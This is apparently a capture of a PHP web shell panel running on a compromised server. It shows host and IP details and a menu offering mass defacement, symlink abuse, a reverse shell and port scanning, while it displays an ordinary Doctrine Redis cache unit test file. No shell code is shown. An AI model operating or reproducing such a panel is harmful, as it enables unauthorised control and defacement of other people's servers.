ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
doctrine
/
cache
/
tests
/
Doctrine
/
Tests
/
Common
/
Cache
/
Viewing: RedisCacheTest.php
<?php namespace Doctrine\Tests\Common\Cache; use Doctrine\Common\Cache\RedisCache; use Doctrine\Common\Cache\Cache; /** * @requires extension redis */ class RedisCacheTest extends CacheTest { private $_redis; protected function setUp() { $this->_redis = new \Redis(); $ok = @$this->_redis->connect('127.0.0.1'); if (!$ok) { $this->markTestSkipped('Cannot connect to Redis.'); } } public function testHitMissesStatsAreProvided() { $cache = $this->_getCacheDriver(); $stats = $cache->getStats(); $this->assertNotNull($stats[Cache::STATS_HITS]); $this->assertNotNull($stats[Cache::STATS_MISSES]); } public function testGetRedisReturnsInstanceOfRedis() { $this->assertInstanceOf('Redis', $this->_getCacheDriver()->getRedis()); } public function testSerializerOptionWithOutIgbinaryExtension() { if (defined('Redis::SERIALIZER_IGBINARY') && extension_loaded('igbinary')) { $this->markTestSkipped('Extension igbinary is loaded.'); } $this->assertEquals( \Redis::SERIALIZER_PHP, $this->_getCacheDriver()->getRedis()->getOption(\Redis::OPT_SERIALIZER) ); } /** * {@inheritDoc} */ protected function _getCacheDriver() { $driver = new RedisCache(); $driver->setRedis($this->_redis); return $driver; } }
Coded With 💗 by
0x6ick